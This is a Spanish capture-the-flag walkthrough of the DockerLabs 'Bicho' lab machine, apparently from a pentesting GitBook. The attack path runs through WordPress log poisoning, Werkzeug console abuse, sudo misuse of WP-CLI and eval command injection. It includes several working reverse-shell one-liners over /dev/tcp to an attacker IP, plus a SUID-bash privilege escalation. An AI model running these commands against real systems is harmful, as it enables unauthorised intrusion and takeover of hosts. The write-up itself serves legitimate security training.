> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/bicho.md). # Bicho ## Introduccion En esta maquina de DockerLabs se compromete un WordPress expuesto bajo el virtual host `bicho.dl`. La primera parte pasa por enumeracion web, descubrimiento de `wp-content/debug.log` y abuso del log como vector de ejecucion para obtener una reverse shell como `www-data`. Desde la shell inicial se leen credenciales en `wp-config.php`, se enumeran MySQL y servicios internos, y se descubre una aplicacion Flask/Werkzeug escuchando en local. Con Chisel se crea un tunel hacia esa aplicacion, se usa la consola interactiva de Werkzeug para conseguir una shell como `app`, despues se salta a `wpuser` abusando de `sudo` sobre WP-CLI y finalmente se escala a root mediante command injection en un script de backup con `eval`. *** ## Reconocimiento Se realiza un escaneo con Nmap: ```bash nmap -sVC -p- -T4 172.17.0.2 ```

El escaneo muestra un unico puerto abierto: | Puerto | Servicio | Version | | ------ | -------- | -------------------------- | | 80/tcp | HTTP | Apache httpd 2.4.58 Ubuntu | Nmap indica que el sitio redirige hacia: ``` http://bicho.dl ``` Se anade el dominio al archivo `/etc/hosts`: ```bash 172.17.0.2 bicho.dl ``` Al acceder al sitio aparece una instalacion de WordPress:

*** ## Enumeracion web Se prueban virtual hosts con Gobuster: ```bash gobuster vhost -u http://bicho.dl \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \ --append-domain ```

Tambien se enumeran rutas: ```bash gobuster dir -u http://172.17.0.2:80 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \ -x html,php,txt,py,sh,log ```

En el codigo fuente se observan rutas propias de WordPress:

Con WPScan se confirma WordPress y se identifica un usuario:

Datos interesantes: ``` WordPress 6.6.2 Usuario: bicho Tema: bosa-travel-agency ``` El directorio de subidas permite listado:

*** ## Debug log expuesto WPScan detecta un log de debug accesible:

Se accede directamente a: ``` http://bicho.dl/wp-content/debug.log ```

El log registra intentos fallidos de login, incluyendo el `User-Agent`. Esto permite probar log poisoning enviando payloads PHP en esa cabecera:

*** ## Reverse shell como www-data Primero se prepara una reverse shell codificada en Base64: ```bash echo "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1" | base64 ```

Se intercepta una peticion a `wp-login.php` y se modifica el `User-Agent` para que ejecute la reverse shell: ```php ```

Se deja un listener esperando: ```bash nc -lvnp 4444 ``` La conexion llega como `www-data`:

El navegador queda apuntando al log usado durante el proceso:

*** ## Credenciales de WordPress Desde la shell se revisa `wp-config.php`: ```bash cat wp-config.php ```

Aparecen credenciales de base de datos: ``` DB_NAME: bicho DB_USER: bicho DB_HOST: 127.0.0.1 ``` Con esas credenciales se entra en MySQL: ```bash mysql -h 127.0.0.1 -u bicho -p bicho ```

Se enumeran tablas y usuarios: ```sql SHOW TABLES; SELECT * FROM wp_users; ```

El usuario de WordPress es `bicho`, pero esta ruta no da una shell directa. Se continua enumerando servicios locales. *** ## Servicio interno Se revisan puertos internos: ```bash netstat -tuln ```

Aparece un servicio escuchando en: ``` 127.0.0.1:5000 ``` Para acceder desde la maquina atacante se usa Chisel. En Kali se levanta el servidor: ```bash chmod +x chisel_1.10.1_linux_amd64 ./chisel_1.10.1_linux_amd64 server -p 1234 --reverse ```

Desde la maquina victima se conecta el cliente: ```bash ./chisel client 172.17.0.1:1234 R:9090:127.0.0.1:5000 ```

Al abrir el servicio se observa un blog interno:

*** ## Consola Werkzeug Se enumera el servicio interno: ```bash gobuster dir -u http://172.17.0.1:5000/ \ -w /usr/share/seclists/Discovery/Web-Content/common.txt \ -x html,zip,php,txt \ -b 404 -t 60 ```

Se descubre: ``` /console ``` Al acceder aparece la consola interactiva de Werkzeug:

Se ejecuta una reverse shell desde la consola: ```python import os; os.system("bash -c 'bash -i >& /dev/tcp/172.17.0.1/9001 0>&1'") ```

Con un listener en el puerto `9001`, llega una shell como `app`:

*** ## Movimiento lateral a wpuser Se revisan permisos de `sudo`: ```bash sudo -l ```

El usuario `app` puede ejecutar WP-CLI como `wpuser` sin password: ``` (wpuser) NOPASSWD: /usr/local/bin/wp ``` Se usa `wp --exec` para lanzar una reverse shell como `wpuser`: ```bash sudo -u wpuser /usr/local/bin/wp --exec="system('bash -c \"bash -i >& /dev/tcp/172.17.0.1/4545 0>&1\"');" ```

En el listener llega la nueva shell:

*** ## Script vulnerable con sudo Como `wpuser`, se revisan permisos: ```bash sudo -l ```

El usuario puede ejecutar como root: ``` /opt/scripts/backup.sh ``` Se revisa el script: ```bash cat /opt/scripts/backup.sh ```

El problema esta al construir un comando con el argumento recibido y ejecutarlo con `eval`: ```bash LOG_NAME=$1 FULL_NAME="$LOG_DIR/$LOG_NAME.log" COMMAND="/usr/bin/cp $FULL_NAME $BACKUP_DIR" eval $COMMAND ``` Se confirma command injection: ```bash sudo /opt/scripts/backup.sh "test; whoami;" ```

El comando `whoami` se ejecuta como: ``` root ``` *** ## Escalada a root Se abusa de la inyeccion para asignar SUID a `/bin/bash`: ```bash sudo /opt/scripts/backup.sh "test; chmod u+s /bin/bash;" ``` Despues se lanza Bash conservando privilegios efectivos: ```bash /bin/bash -p id ```

El resultado muestra `euid=0(root)`, por lo que se obtiene una shell privilegiada. *** ## Resumen La ruta completa queda asi: 1. Escaneo con Nmap y deteccion de WordPress en `bicho.dl`. 2. Enumeracion web con Gobuster y WPScan. 3. Identificacion del usuario `bicho`. 4. Descubrimiento de `wp-content/debug.log`. 5. Log poisoning mediante `User-Agent` en `wp-login.php`. 6. Reverse shell inicial como `www-data`. 7. Lectura de `wp-config.php`. 8. Enumeracion de MySQL y del usuario WordPress. 9. Descubrimiento del servicio interno `127.0.0.1:5000`. 10. Tunneling con Chisel. 11. Acceso a consola Werkzeug en `/console`. 12. Reverse shell como `app`. 13. Movimiento lateral a `wpuser` con `sudo /usr/local/bin/wp`. 14. Abuso de `/opt/scripts/backup.sh` mediante command injection. 15. SUID sobre `/bin/bash`. 16. Shell final con privilegios de `root`. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/bicho.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.